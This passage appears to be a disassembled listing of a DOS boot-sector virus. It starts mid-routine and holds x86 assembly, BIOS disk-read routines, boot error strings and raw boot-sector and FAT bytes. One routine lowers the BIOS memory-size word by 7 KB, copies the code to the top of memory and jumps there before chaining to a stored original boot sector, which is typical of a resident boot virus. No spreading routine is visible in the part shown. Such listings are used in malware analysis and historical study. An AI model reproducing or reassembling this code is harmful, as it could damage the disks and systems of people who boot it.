int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_0060
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_0015:
xor dx,dx ; Zero register
div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data
inc dl
mov ds:data_0025e,dl
xor dx,dx ; Zero register
div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data
mov ds:data_0021e,dl
mov ds:data_0024e,ax
loc_ret_0061:
retn
sub_0014 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0016 proc near
mov ah,2
mov dx,ds:data_0024e
mov cl,6
shl dh,cl ; Shift w/zeros fill
or dh,ds:data_0025e
mov cx,dx
xchg ch,cl
mov dl,ds:data_0032e
mov dh,ds:data_0021e
int 13h ; Disk dl=drive ? ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
retn
sub_0016 endp
db 0Dh, 0Ah, 'Non-System disk or dis'
db 'k error', 0Dh, 0Ah, 'Replace and'
db ' strike any key when ready', 0Dh
db 0Ah, 0
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
db 0Ah, 0
db 'IBMBIO COMIBMDOS COM'
db 18 dup (0)
db 55h,0AAh, 00h, 03h, 00h, 00h
db 01h, 00h, 02h, 00h, 00h, 01h
db 00h, 01h, 00h, 00h, 01h, 00h
db 09h, 00h, 00h, 00h, 00h, 08h
db 00h, 00h, 00h, 00h, 07h, 00h
db 00h, 00h, 00h, 06h, 00h, 00h
db 00h, 00h, 05h, 00h, 00h, 00h
db 0F6h, 04h, 00h, 00h, 00h,0FDh
db 0FFh,0FFh, 00h
db 509 dup (0)
db 03h, 00h, 00h, 00h,0F6h, 02h
db 00h, 00h, 00h,0FDh,0FFh,0FFh
db 00h
db 508 dup (0)
db 0F6h, 01h, 00h, 00h, 00h,0EBh
db 29h, 90h, 22h, 34h, 12h, 00h
db 01h, 00h, 00h, 00h, 00h, 02h
db 02h, 01h, 00h, 02h, 70h, 00h
db 0D0h, 02h,0FDh, 02h, 00h, 09h
db 00h, 02h, 00h
db 8 dup (0)
db 0Fh, 00h, 00h, 00h, 00h, 01h
db 00h
db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh
db 0B8h, 78h, 7Ch, 50h,0C3h, 73h
db 0Ah
db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h
db 0B0h, 7Ch, 51h,0C3h
loc_0064:
xor ax,ax ; Zero register
mov ds,ax
mov ax,ds:main_ram_size_
cmp word ptr ds:data_0008e,0
jne loc_0065 ; Jump if not equal
mov ds:data_0008e,ax
sub ax,7
mov ds:main_ram_size_,ax
loc_0065:
mov cl,6
shl ax,cl ; Shift w/zeros fill
push cs
pop ds
mov es,ax
mov si,data_0164e
xor di,di ; Zero register
mov cx,1400h
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es
mov ax,400h
push ax
retf
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
jc loc_0066 ; Jump if carry Set
xor dx,dx ; Zero register
mov cx,2821h
mov bx,data_0178e
mov ax,209h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
loc_0066:
;* mov ax,offset loc_0077 ;*
db 0B8h, 3Ch, 7Ch
push ax
retn
db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h
locloop_0067:
xor bh,bh ; Zero register
mov al,[si]
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
inc si
loop locloop_0067 ; Loop if cx > 0
loc_0068:
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
mov ah,1
int 16h ; Keyboard i/o ah=function 01h
; get status, if zf=0 al=char
jnz loc_0068 ; Jump if not zero
;* mov bx,offset loc_0078 ;*
db 0BBh, 43h, 7Ch
push bx
retn
mov ax,cs
mov ds,ax
mov es,ax
mov si,data_0176e
mov di,data_0178e
mov cx,18h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
;* mov di,offset loc_0081 ;*
db 0BFh, 00h, 7Eh
push di
retn
db 32h,0E4h,0CDh, 13h
loc_0069:
jc loc_0070 ; Jump if carry Set
xor dx,dx ; Zero register
mov cx,1
mov bx,data_0164e
mov ax,201h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
loc_0070:
;* mov bx,offset loc_0076 ;*
db 0BBh, 00h, 7Ch
push bx
retn
sub al,7Ch ; '|'
mov ds:data_0175e,ax
mov bx,700h
loc_0071:
mov ax,ds:data_0171e
call sub_0018
mov ax,ds:data_0167e
sub al,ds:data_0173e
inc ax
push ax
call sub_0019
pop ax
jc loc_0069 ; Jump if carry Set
sub ds:data_0174e,al
jbe loc_0072 ; Jump if below or =
add ds:data_0171e,ax
mul word ptr ds:data_0165e ; ax = data * ax
add bx,ax
jmp short loc_0071
loc_0072:
mov ch,ds:data_0166e
mov dl,ds:data_0169e
mov bx,ds:data_0175e
;* jmp far ptr loc_0001 ;*
db 0EAh, 00h, 00h, 70h, 00h
loc_0073:
lodsb ; String [si] to al
or al,al ; Zero ?
jz loc_ret_0074 ; Jump if zero
mov ah,0Eh
mov bx,7
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_0073
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0018 proc near
xor dx,dx ; Zero register
div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data
inc dl
mov ds:data_0173e,dl
xor dx,dx ; Zero register
div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data
mov byte ptr ds:data_0169e+1,dl
mov ds:data_0172e,ax
loc_ret_0074:
retn
sub_0018 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0019 proc near
mov ah,2
mov dx,ds:data_0172e
mov cl,6
shl dh,cl ; Shift w/zeros fill
or dh,ds:data_0173e
mov cx,dx
xchg ch,cl
mov dx,ds:data_0169e
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
retn
sub_0019 endp
db 0Dh, 0Ah, 'Non-System disk or dis'
db 'k error', 0Dh, 0Ah, 'Replace and'
db ' strike any key when ready', 0Dh
db 0Ah, 0
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
db 0Ah, 0
db 'IBMBIO COMIBMDOS COM'
db 42 dup (0)
db 55h,0AAh
seg_a ends
end start